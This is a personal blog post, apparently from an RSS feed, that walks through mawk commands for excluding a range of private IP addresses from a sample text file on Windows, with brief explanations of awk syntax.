<p>After no luck with findstr I was gonna turn to my old friend grep.  Now for those that don&#8217;t know grep is a pattern / regular expression matching command within Linux. Grep has the ability to search for patterns within directories and files for a specific string (e.g. IP addresses). There is a <a href="http://www.thedance.net/~win95/grep.exe" target="_self">grep Windows executable</a> with basically the same functionality but it couldn&#8217;t handle Google&#8217;s regular expression either. After burning through two different programs to perform this task I was almost at a lost. My coworker reminded me of <a href="http://www.amazon.com/Effective-awk-Programming-Arnold-Robbins/dp/0596000707/ref=sr_1_2?ie=UTF8&amp;s=books&amp;qid=1252164251&amp;sr=8-2" target="_blank">awk</a>, how could I forget. Awk is a native program within Linux but you can download an exe version of the program. There are different flavors of awk (gawk and mawk) and different programmers that try and port over awk. I tried some awk.exe&#8217;s and some gawk.exe&#8217;s but I had the best success with mawk.exe, you can grab <a href="http://travisaltman.com/tools/mawk.exe" target="_self">mawk.exe here</a>. So enough yip yapping let&#8217;s walk through the solution. Below is a sample list of IP&#8217;s that we&#8217;ll hack and slash on, let&#8217;s assume these IP&#8217;s are in a file called IPlist.txt.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">192.168.0.1<br />
192.168.0.2<br />
192.168.0.3<br />
192.168.0.4<br />
192.168.0.5<br />
192.168.0.6<br />
192.168.0.7<br />
192.168.0.8<br />
192.168.0.9<br />
192.168.0.10<br />
192.168.0.11<br />
192.168.0.12<br />
192.168.0.13<br />
192.168.0.14<br />
192.168.0.15<br />
192.168.0.16<br />
192.168.0.17<br />
192.168.0.18<br />
192.168.0.19<br />
192.168.0.20<br />
192.168.5.1<br />
192.168.5.2<br />
192.168.5.3<br />
192.168.5.4<br />
192.168.5.5<br />
192.168.5.6<br />
192.168.5.7<br />
192.168.5.8<br />
192.168.5.9<br />
192.168.5.10<br />
192.168.5.11<br />
192.168.5.12<br />
192.168.5.13<br />
192.168.5.14<br />
192.168.5.15<br />
192.168.5.16<br />
192.168.5.17<br />
192.168.5.18<br />
192.168.5.19<br />
192.168.5.20</div></div>
<p>So let&#8217;s say we wanted to extract or exclude the range 192.168.0.5-192.168.0.15, you would use the mawk command below.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">mawk &quot;BEGIN {FS='.'}; $3&amp;lt;0 || $3&amp;gt;0 || ($3==0 &amp;amp;&amp;amp;($4&amp;lt;5 || $4&amp;gt;15)) {print $0}&quot; IPlist.txt</div></div>
<p>Let me explain the command above. BEGIN simply processes the text before mawk starts munching. FS stands for field separator, here we are telling mawk that our filed separator is period (surrounded by single quotes). The $3 is basically a variable calling the 3rd field, in our case it&#8217;s the third number in our IP address. The || means &#8220;or&#8221;. The == is to determine is something is equivalent. The &amp;&amp; is &#8220;and&#8221;. The $4 is the 4th number in our IP address because it&#8217;s the 4th field. So the command reads like this: separator is a period, we want the 3rd number to be less than zero or greater than zero or equal to 3 and we want the 4th number to be less than 5 or greater than 15. The $0 represents  the entire line so the print statement is just printing out the entire line that matches our criteria. Let&#8217;s look at a similar example, say we want to extract 192.168.5.10-18.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">mawk &quot;BEGIN {FS='.'}; $3&amp;lt;5 || $3&amp;gt;5 || ($3==5 &amp;amp;&amp;amp;($4&amp;lt;10 || $4&amp;gt;18)) {print $0}&quot; IPlist.txt</div></div>
<p>I&#8217;m sure there are probably other ways to go about performing the same task but this one works for me. Now feel free to go ahead and <a href="http://www.youtube.com/watch?v=pxjZM-d_ShI" target="_blank">mawk it out</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://travisaltman.com/search-an-ip-range-via-the-command-line/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

